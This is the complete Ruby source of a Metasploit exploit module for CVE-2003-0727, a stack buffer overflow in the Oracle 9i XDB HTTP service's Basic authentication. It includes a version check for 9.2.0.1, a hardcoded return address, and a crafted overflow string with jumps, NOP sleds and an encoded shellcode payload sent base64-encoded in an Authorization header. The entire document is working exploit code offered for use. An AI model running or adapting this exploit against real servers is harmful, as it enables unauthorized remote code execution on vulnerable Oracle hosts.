Oracle 9i XDB (Windows x86) – HTTP PASS Overflow (Metasploit)
## # $Id: oracle9i_xdb_pass.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle 9i XDB HTTP PASS Overflow (win32)', 'Description' => %q{ This module exploits a stack buffer overflow in the authorization code of the Oracle 9i HTTP XDB service. David Litchfield, has illustrated multiple vulnerabilities in the Oracle 9i XML Database (XDB), during a seminar on "Variations in exploit methods between Linux and Windows" presented at the Blackhat conference. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2003-0727'], ['OSVDB', '2449'], ['BID', '8375'], ['URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Platform' => 'win', 'Targets' => [ [ 'Oracle 9.2.0.1 Universal', { 'Ret' => 0x60616d46 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 18 2003')) register_options( [ Opt::RPORT(8080) ], self.class ) end def check connect sock.put("GET / HTTP/1.0\r\n\r\n") resp = sock.get_once disconnect if (resp =~ /9.2.0.1.0/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect sploit = rand_text_english(4, payload_badchars) + ":" sploit << rand_text_english(442, payload_badchars) sploit << "\xeb\x64" + make_nops(2) + [target.ret].pack('V') sploit << make_nops(266) + "\xeb\x10" + make_nops(109) + payload.encoded req = "Authorization: Basic #{Rex::Text.encode_base64(sploit)}\r\n\r\n" res = "GET / HTTP/1.1\r\n" + "Host: #{rhost}:#{rport}\r\n" + req print_status("Trying target %s..." % target.name) sock.put(res) handler disconnect end end |